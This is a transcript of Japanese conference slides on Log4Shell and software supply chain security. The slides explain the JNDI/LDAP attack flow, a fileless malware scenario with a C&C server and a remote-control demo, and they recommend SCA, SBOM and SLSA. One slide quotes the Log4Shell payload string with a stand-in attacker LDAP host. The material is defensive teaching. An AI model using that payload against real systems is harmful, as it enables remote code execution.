Upgrade to Pro — share decks privately, control downloads, hide ads and more …

端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を...

kitaji0306
October 27, 2024

端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう

2024-10-27 に開催された JJUG CCC 2024 Fall の登壇資料です。
(デモ部分はスクショに差し替えてます)

kitaji0306

October 27, 2024
Tweet

More Decks by kitaji0306

Other Decks in Technology

Transcript

  1. どんな脆弱性だったか 
 • 2021年12月10日 くらいから話題となった
 • Javaの有名ログライブラリApache Log4j2 起因
 •

    サーバ内部でコード(コマンド)実行可能 
 リモートコード実行
 (RCE:Remote Code Execution)

  2. 攻撃の一連の流れ 
 LDAPを用いた攻撃の流れと各ポイントでの対策( GovCERT.chの記事より 概要図を引用) 外部から指定 可能なパラメー タやヘッダを利 用 User-Agent:

    ${jndi:ldap://evil.xa/x} 
 攻撃者が準備した LDAPサーバ Base64エンコード済 みのSerializeされた Javaオブジェクト Deserializeされた Javaオブジェクト の実行 JNDI Lookupという仕 様で解析されLDAP サーバへ通信
  3. 技術要素確認 
 • JNDI(Java Naming and Directory Interface)
 ◦ 外部リソース(LDAP等)

    に接続する仕組を提供
 • LDAP(Lightweight Directory Access Protocol)
 ◦ ディレクトリ(テキスト)情報 と通信するプロトコル
 • Serialize(シリアライズ)
 ◦ オブジェクト をbyte形式(テキストも可)に可逆変換

  4. Log4shellという脆弱性の恐ろしいところ 
 • 高リスクの脆弱性(CVSSスコア:10.0も有り)
 ◦ リモートコード実行 はシステム侵入の起点にもなる
 • パッチより先に攻撃方法のPoCが公開された
 ◦

    アプリケーションで即時防御不可能なゼロデイ攻撃 
 • 多数のライブラリに暗黙的に内包されていた
 ◦ アプリの影響範囲特定が難しい 
 ソフトウェアサプライチェーンの課題

  5. ソフトウェアサプライチェーン攻撃とは 
 監  視
 運  用
 デプロイ
 コード
 ビルド
 テスト
 計  画
 リリース


    Dev
 Ops
 脆弱コードを仕込む ゼロデイ攻撃 API連携先から攻撃 依存パッケージから攻撃 脆弱なコンテナイメージ テスト支援ツールから攻撃 主に各工程で利用するOSSに依存した攻撃

  6. どうしたらOSSを安全に利用出来る? 
 早い段階でのリスク発見と対策が必要
 • SCA(ソフトウェア構成分析)
 ◦ 脆弱性スキャン による脆弱なライブラリの検知
 • SBOM(ソフトウェア部品票)


    ◦ ソフトウェアサプライチェーンの可視化
 • SLSA(Supply-chain Levels for Software Artifacts)
 ◦ 開発工程の成熟度 を測るセキュリティフレームワーク

  7. コマンドを受信して動作 (ファイルレスマルウェア) 
 PC(Windows) 
 PC内部のPowerShell 
 C&C
 (コマンド&コントロール)サーバ 


    攻撃者
 Officeファイルやブ ラウザの脆弱性を 利用してスクリプトを 埋め込む
 スクリプトから PowerShellを起動
 C&Cサーバに接続
 マルウェアをダウンロー ドして活動開始
 ①
 ②
 ③
 ④

  8. デモの登場人物及び環境 
 • Attacker(攻撃者) 
 ◦ AWS EC2
 ▪ ここからリモート操作する(C&Cサーバ)


    
 • Victim(被害者) 
 ◦ ウイルス対策ソフトの入ったWindows11(このPC)
 ▪ Java開発者がOSSのライブラリを利用したアプリを開発中

  9. デモのシナリオ 
 • 1:Attacker 
 ◦ サーバで接続待ち受けコマンド実行
 
 • 2:Victim

    
 ◦ ぬるぽライブラリを使った関数のテストを実行
 ▪ マルウェアモドキをダウンロードしてC&Cサーバに接続
 
 • 3:Attacker 
 ◦ ぬるぽライブラリを実行したPCのコンソールを操作

  10. まとめ
 • Log4Shellは非常に恐ろしい脆弱性だった
 ◦ 攻撃の仕組み を理解するだけでも有用
 • ソフトウェアサプライチェーン攻撃対策
 ◦ 開発工程早期のセキュリティ対策

    が有用
 • ツール(SSHやRDP)不要でリモート操作可能
 ◦ 対策ソフト以外に各自のセキュリティ意識も重要 
 自分たちのソフトウェアを自分たちで守る